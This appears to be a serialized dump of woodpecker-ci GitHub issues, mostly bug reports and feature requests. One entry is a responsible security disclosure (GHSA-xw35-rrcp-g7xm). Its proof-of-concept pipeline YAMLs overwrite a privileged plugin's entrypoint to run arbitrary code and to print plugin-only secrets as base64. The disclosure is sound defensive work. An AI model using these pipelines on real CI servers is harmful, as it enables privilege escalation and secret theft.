\r\n\n\n### Steps to reproduce\n\n.\n\n### Expected behavior\n\n_No response_\n\n### System Info\n\n```shell\n\"next-d126cf9e35\"\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]",[1984,1987],{"name":1985,"color":1986},"bug","d73a4a",{"name":1988,"color":1989},"ui","46DEA2",4677,"woodpecker-ci","woodpecker","open","`tag` pipelines are missing avatar and commit title","2025-01-12T06:19:42Z","https://github.com/woodpecker-ci/woodpecker/issues/4677",0.72811836,{"description":1999,"labels":2000,"number":2010,"owner":1991,"repository":1992,"state":1993,"title":2011,"updated_at":2012,"url":2013,"score":2014},"The backend is currently executing based on stages consider using a dag instead.\r\n\r\nfollowup to https://github.com/woodpecker-ci/woodpecker/pull/2771",[2001,2004,2007],{"name":2002,"color":2003},"server","5D7A92",{"name":2005,"color":2006},"enhancement","7E1FE4",{"name":2008,"color":2009},"engine","5319e7",3009,"Use DAG for steps in backend","2024-06-22T20:48:55Z","https://github.com/woodpecker-ci/woodpecker/issues/3009",0.73659575,{"description":2016,"labels":2017,"number":2019,"owner":1991,"repository":1992,"state":1993,"title":2020,"updated_at":2021,"url":2022,"score":2023},"### Component\n\nserver\n\n### Describe the bug\n\nHello,\r\nI've recently updated my Woodpecker agent and server to the latest `next` version. When I pushed to my repository, I noticed the pipeline didn't start, so I triggered it manually and got an error. By following the container's logs I noticed some errors very close to the ones on https://github.com/woodpecker-ci/woodpecker/issues/1609, which I thought was weird because I have a newer version and I don't think my pipeline is wrong. I also got the same thing described in that issue of having eternally stuck pipelines which can't be stopped. My error log from back then is here: https://pasty.nikko.cf/yrmUGk.txt\r\n\r\nIn order to avoid all possibilities of user error, I deleted the containers, the databse, and installed Woodpecker from scratch. I added again the repository and ran the pipeline. These are the logs as shown by `docker compose logs -f` from the moment of starting Woodpecker at first install to right after I had triggered the pipeline: https://pasty.nikko.cf/4m3bum.txt\r\n\r\nI noticed that running pipelines on other repositories worked - sort of: it ran the first step fine but hanged at the second one. I saw another couple of errors in the logs:\r\n```\r\nwoodpecker-woodpecker-server-1 | {\"level\":\"warn\",\"error\":\"sql: no rows in result set\",\"time\":\"2023-06-30T16:20:19Z\"}\r\nwoodpecker-woodpecker-server-1 | {\"level\":\"error\",\"error\":\"database is locked\",\"now\":1688142054,\"time\":\"2023-06-30T16:20:59Z\",\"message\":\"obtain cron list\"}\r\n```\r\nbut I think the first is caused by the database being locked, and the database being locked is caused by the program crashing earlier. As the pipeine was stuck, Woodpecker also took a worrying amount of CPU and I had to kill it to free it because it wouldn't stop normally.\r\n\r\nI hope this report can be helpful. Feel free to ask if you need more information.\r\n\n\n### System Info\n\n```shell\nVersion: `{\"source\":\"https://github.com/woodpecker-ci/woodpecker\",\"version\":\"next-44b54db4\"}`\r\nOS (`uname -a`): `Linux p4 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux` \r\nDocker version: `Docker version 24.0.2, build cb74dfc` \r\nCompose:\r\n\r\n# docker-compose.yml\r\nversion: '3'\r\n\r\nservices:\r\n woodpecker-server:\r\n image: woodpeckerci/woodpecker-server:next\r\n restart: always\r\n ports:\r\n - 8085:8000\r\n volumes:\r\n - ./data:/var/lib/woodpecker/\r\n environment:\r\n - WOODPECKER_OPEN=true\r\n - WOODPECKER_HOST=https://woodpecker.massivebox.net\r\n - WOODPECKER_GITEA=true\r\n - WOODPECKER_GITEA_URL=https://git.massivebox.net\r\n - WOODPECKER_GITEA_CLIENT=REDACTED\r\n - WOODPECKER_GITEA_SECRET=REDACTED\r\n - WOODPECKER_AGENT_SECRET=REDACTED\r\n networks:\r\n - internal\r\n - caddy\r\n labels:\r\n caddy: woodpecker.massivebox.net\r\n caddy.reverse_proxy: \"{{upstreams 8000}}\"\r\n\r\n woodpecker-agent:\r\n image: woodpeckerci/woodpecker-agent:next\r\n command: agent\r\n restart: always\r\n depends_on:\r\n - woodpecker-server\r\n volumes:\r\n - /var/run/docker.sock:/var/run/docker.sock\r\n environment:\r\n - WOODPECKER_SERVER=woodpecker-server:9000\r\n - WOODPECKER_AGENT_SECRET=REDACTED\r\n networks:\r\n - internal\r\n\r\nnetworks:\r\n caddy:\r\n name: caddy\r\n external: true\r\n internal:\r\n internal: true\r\n\r\n```\n```\n\n\n### Additional context\n\nConfiguration file: https://git.massivebox.net/ecodash/ecodash/src/branch/master/.woodpecker/.woodpecker.yml\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy) or the [Matrix room](https://matrix.to/#/#woodpecker:matrix.org).",[2018],{"name":1985,"color":1986},1905,"Runtime error on manual pipeline execution","2024-03-20T23:43:12Z","https://github.com/woodpecker-ci/woodpecker/issues/1905",0.7524816,{"description":2025,"labels":2026,"number":2031,"owner":1991,"repository":1992,"state":2032,"title":2033,"updated_at":2034,"url":2035,"score":2036},"### Clear and concise description of the problem\r\n\r\nI'm trying to run a container image build step in my pipeline that uses [buildah](https://quay.io/repository/buildah/stable?tab=info). I'm running into a lot of permission errors like this:\r\n\r\n```\r\ntime=\"2023-10-07T19:59:26Z\" level=error msg=\"writing \\\"0 0 4294967295\\\\n\\\" to /proc/17/uid_map: write /proc/17/uid_map: operation not permitted\"\r\ntime=\"2023-10-07T19:59:26Z\" level=error msg=\"(Unable to determine exit status)\"\r\n```\r\n\r\nAfter some experimentation with podman and buildah containers on my cluster, I have determined that I need to configure a few different settings at the Pod level for this to work:\r\n\r\n- `metadata.annotations`: I need to be able to set `container.apparmor.security.beta.kubernetes.io/\u003Ccontainer_name>` to use a custom apparmor profile for my buildah container. I would like to use the `WOODPECKER_BACKEND_K8S_POD_ANNOTATIONS` env variable, but since the container names are randomly generated I'm not sure how to make this work.\r\n- `spec.securityContext`: The only way I have found to make buildah work is to run it as non-root. This means that I need to set `runAsUser`, `runAsGroup`, and `fsGroup` on the Pod level `securityContext` (not the container level).\r\n\r\n### Suggested solution\r\n\r\nAdding support for `securityContext` seems like it should be fairly straightforward. We could just follow that same approach that is currently used for `resources`, `nodeSelector`, etc. [documented here](https://woodpecker-ci.org/docs/next/administration/backends/kubernetes#resources).\r\n\r\nThe AppArmor profile is trickier since the container name needs to be included in the annotation key. I'm imagining a configuration like `backend_options.kubernetes.appArmorProfile` that could take all of the possible values for the annotation [documented here](https://kubernetes.io/docs/tutorials/security/apparmor/). Then, the pod generation logic would just look for this configuration and add the appropriate annotation if it's found.\r\n\r\n### Alternative\r\n\r\nI could disable AppArmor entirely, but that's not really advisable for a production environment. I could also try to find a way to get the buildah container running as root (it should be possible), but again, that's not ideal from a security perspective.\r\n\r\n### Additional context\r\n\r\nThis is somewhat of a follow up from #2510. I'm trying to get Woodpecker to run on my kubeadm/CRI-O based cluster running on Debian which I believe makes me some kind of leprechaun/unicorn/lochness monster. There definitely aren't many of us out there.\r\n\r\n### Validations\r\n\r\n- [X] Checked that the feature isn't part of the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\r\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't already an [issue](https://github.com/woodpecker-ci/woodpecker/issues) that request the same feature to avoid creating a duplicate.",[2027,2028],{"name":2005,"color":2006},{"name":2029,"color":2030},"backend/kubernetes","bfdadc",2545,"closed","Support AppArmor annotations and securityContext in kubernetes backend","2024-01-12T22:32:26Z","https://github.com/woodpecker-ci/woodpecker/issues/2545",0.72051233,{"description":2038,"labels":2039,"number":2043,"owner":1991,"repository":1992,"state":2032,"title":2044,"updated_at":2045,"url":2046,"score":2047},"# Getting privileged permissions using an escalated plugin by adjusting workspace\r\n\r\nDear Woodpecker Security Team,\r\n\r\nI am writing to inform you about the possibility of running arbitrary code in a privileged container using the default configuration.\r\nAs you know, the default configuration has multiple containers that run in privileged mode. These include the \"plugins/docker\" image. (I haven't looked at the other images, though I'm sure they are vulnerable to the same or similar exploits.)\r\nMy POC uses the workspace attribute with the base set to \"/use/local\". This way, I can place a file at \"/usr/local/bin/dockerd-entrypoint.sh\" in a step before the \"plugins/docker\" step to overwrite the commands executed in the privileged container.\r\n\r\n```\r\nworkspace:\r\n base: /usr/local/\r\n\r\nsteps:\r\n- name: prepare\r\n image: alpine\r\n commands:\r\n - mkdir -p /usr/local/bin/\r\n - cp fake-local/bin/dockerd-entrypoint.sh /usr/local/bin/dockerd-entrypoint.sh\r\n - cp ncat /usr/local/ncat\r\n - cp bash /usr/local/bash\r\n - chmod +x /usr/local/bin/dockerd-entrypoint.sh\r\n - chmod +x /usr/local/ncat\r\n - chmod +x /usr/local/bash\r\n- name: drone\r\n image: plugins/docker\r\n```\r\n\r\nThis is possible because the only things checked before allowing the setting of the container to privileged are that the \"Commands\" and \"Entrypoint\" attributes are unset using the \"IsPlugin\" function.\r\nThere are multiple other ways to gain code execution in the privileged container, such as setting environment variables like \"LD\\_PRELOAD\".\r\n\r\nI only tested this in the docker runner, but looking at the code, the same should be possible for the kubernetes runner.\r\n\r\nI'm not sure how to fix this correctly, as it is broken by design when allowing the building of docker images inside the CI.\r\n\r\nSimilar bugs exist in the Drone CI, so a scheduled disclosure with them makes sense.\r\n\r\nI am also informing you that I am the author of a CTF Challenge where people tried to find and exploit this bug. The event was a final to a qualification with a small number of participants. Two Teams solved the challenge by finding other bugs. I will tell them to report their found vulnerability as well.\r\n\r\nFeel free to follow up with any questions.\r\n\r\nBest,\r\nDaniel Kilimnik\r\n\r\nNeodyme AG\r\n\r\n---\r\n\r\n# Getting secrets value using manipulated entrypoint via adjusted workspace\r\n\r\n1. create a secret called `TOKEN` for the plugin `plugins/docker` only\r\n\r\n2. create this pipeline\r\n```yaml\r\nskip_clone: true\r\n\r\nworkspace:\r\n base: /usr/local/\r\n\r\nsteps:\r\n- name: prepare\r\n image: alpine\r\n commands:\r\n - mkdir -p /usr/local/bin/\r\n - 'echo \"#!/bin/sh\" > /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"env\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"echo -------\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - 'echo \"env | base64\" >> /usr/local/bin/dockerd-entrypoint.sh'\r\n - chmod +x /usr/local/bin/dockerd-entrypoint.sh\r\n- name: drone\r\n image: plugins/docker\r\n settings:\r\n token:\r\n from_secret: TOKEN\r\n```\r\n\r\n3. decode the base64 and wolla successfully reused the exploid in a different area\r\n\r\n\r\n\r\n\r\n\r\n\r\n---\r\n\r\n\r\n GHSA-xw35-rrcp-g7xm",[2040],{"name":2041,"color":2042},"security","B60205",3924,"Getting \"privileged permissions\" / \"secrets value\" by using (... an escalated plugin and/) by adjusting workspace","2024-10-04T14:06:28Z","https://github.com/woodpecker-ci/woodpecker/issues/3924",0.72095996,{"description":2049,"labels":2050,"number":2053,"owner":1991,"repository":1992,"state":2032,"title":2054,"updated_at":2055,"url":2056,"score":2057},"### Component\n\nweb-ui\n\n### Describe the bug\n\nThe spaces in task output should be kept.\r\n\r\n\r\n\n\n### System Info\n\n```shell\n\"source\": \"https://github.com/woodpecker-ci/woodpecker\",\r\n\"version\": \"next-9feb6be9\"\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy).",[2051,2052],{"name":1985,"color":1986},{"name":1988,"color":1989},718,"The spaces in task output should be kept.","2022-06-16T17:24:27Z","https://github.com/woodpecker-ci/woodpecker/issues/718",0.72409636,{"description":2059,"labels":2060,"number":2068,"owner":1991,"repository":1992,"state":2032,"title":2069,"updated_at":2070,"url":2071,"score":2072},"### Component\r\n\r\nother\r\n\r\n### Describe the bug\r\n\r\nPlease take a look at this [issue on Codeberg](https://codeberg.org/Codeberg-CI/feedback/issues/136). I found out what causes this problem. See [this comment](https://codeberg.org/Codeberg-CI/feedback/issues/136#issuecomment-1318012) for details. #2126 added a Org for each user. But it looks like there was a mistake in the Migration, so the Users don't have access to their Org. `https://ci.codeberg.org/api/user `say my Org ID is 592, but `https://ci.codeberg.org/api/orgs/592 `gives me a 403.\r\n\r\n### System Info\r\n\r\n```shell\r\n{\r\n \"source\":\"https://github.com/woodpecker-ci/woodpecker\",\r\n \"version\":\"next-62e1081b24\"\r\n}\r\n```\r\n\r\n\r\n### Additional context\r\n\r\nI'm just a User and not the Admin of this instance, so I can't give you detailed technical information, but I want to share my findings.\r\n\r\n### Validations\r\n\r\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\r\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\r\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\r\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\r\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy) or the [Matrix room](https://matrix.to/#/#woodpecker:matrix.org).",[2061,2062,2065],{"name":1985,"color":1986},{"name":2063,"color":2064},"forge/gitea","E96280",{"name":2066,"color":2067},"regression","7E192B",2714,"User don't have permission for own Org","2023-12-19T08:13:41Z","https://github.com/woodpecker-ci/woodpecker/issues/2714",0.7241223,{"description":2074,"labels":2075,"number":2079,"owner":1991,"repository":1992,"state":2032,"title":2080,"updated_at":2081,"url":2082,"score":2083},"forge: gitlab\r\nwoodpecker: next (>2.6)",[2076,2077],{"name":1985,"color":1986},{"name":2078,"color":2064},"forge/gitlab",3861,"CI_COMMIT_SOURCE_BRANCH, CI_COMMIT_TARGET_BRANCH is not set in PR","2024-08-10T18:43:51Z","https://github.com/woodpecker-ci/woodpecker/issues/3861",0.7346498,{"description":2085,"labels":2086,"number":2088,"owner":1991,"repository":1992,"state":2032,"title":2089,"updated_at":2090,"url":2091,"score":2092},"### Component\n\nserver\n\n### Describe the bug\n\nHi, apologies if this has already been reported (I searched but couldn't find any issues), but I've recently updated my installation to 2.0.0-rc.0, and I was confused as to why webhooks didn't seem to work anymore. \r\n\r\nI went over the changelog for the RC, and found a reference to https://github.com/woodpecker-ci/woodpecker/pull/2212\r\n\r\nThis change breaks all webhooks created prior to the upgrade to 2.0.0-rc.0, as those still point at `${HOST}/hook`. And by leaving no route behind for the old hooks endpoint, it appears as though incoming the hook succeeds, as Woodpecker responds with a statuscode `200` (the body being the landing page).\r\n\r\nIt would've been helpful if:\r\n\r\n1. The change had been marked as a breaking change\r\n2. There had been some route left behind that responds with some kind of error statuscode (perhaps `410 Gone`?) so some kind of alerting would go off in whatever called the hook. Bonus points if this logs some warning in the woodpecker server logs!\r\n\r\nI did eventually find https://github.com/woodpecker-ci/woodpecker/blob/main/docs/docs/91-migrations.md, which does describe what could be done. Still, it would have helped me personally if the changelog would have mentioned this more prominently.\n\n### System Info\n\n```shell\n{\r\n \"source\": \"https://github.com/woodpecker-ci/woodpecker\",\r\n \"version\": \"2.0.0-rc.0\"\r\n}\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [X] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/main/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Checked that the bug isn't fixed in the `next` version already [https://woodpecker-ci.org/faq#which-version-of-woodpecker-should-i-use]\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy) or the [Matrix room](https://matrix.to/#/#woodpecker:matrix.org).",[2087],{"name":1985,"color":1986},2824,"2.0.0: moving webhook endpoint behind `/api` prefix should probably be considered a breaking change","2023-11-19T19:32:38Z","https://github.com/woodpecker-ci/woodpecker/issues/2824",0.7349225,{"description":2094,"labels":2095,"number":2097,"owner":1991,"repository":1992,"state":2032,"title":2098,"updated_at":2099,"url":2100,"score":2101},"### Component\n\nagent\n\n### Describe the bug\n\nThe docs say: https://woodpecker-ci.org/docs/usage/pipeline-syntax#tag\r\n\r\nbut the filter in a condition is not working for tags:\r\n\r\n```\r\n when:\r\n event: tag\r\n tag: v*\r\n```\r\nThe step with this condition is executed, even when the tag name is something different e.g. 'x' or 'pre1.2.3'\r\n\r\nHow to use this feature? \r\n\r\n\n\n### System Info\n\n```shell\n{\"source\":\"https://github.com/woodpecker-ci/woodpecker\",\"version\":\"0.15.1\"}\n```\n\n\n### Additional context\n\n_No response_\n\n### Validations\n\n- [x] Read the [Contributing Guidelines](https://github.com/woodpecker-ci/woodpecker/blob/master/CONTRIBUTING.md).\n- [X] Read the [docs](https://woodpecker-ci.org/docs/intro).\n- [X] Check that there isn't [already an issue](https://github.com/woodpecker-ci/woodpecker/issues) that reports the same bug to avoid creating a duplicate.\n- [X] Check that this is a concrete bug. For Q&A join our [Discord Chat Server](https://discord.gg/fcMQqSMXJy).",[2096],{"name":1985,"color":1986},945,"Tag filter in when is not working","2022-12-23T21:05:55Z","https://github.com/woodpecker-ci/woodpecker/issues/945",0.73636883,["Reactive",2103],{},["Set"],["ShallowReactive",2106],{"TRc1wZytZ_XrK4EfJfei_Sz-An4H4Yy6syhVxH_PVJc":-1,"uLlfw931dULWd5-ILsVTquxzjaVlIrgMNZXLkLzsK3A":-1},"/woodpecker-ci/woodpecker/2574"]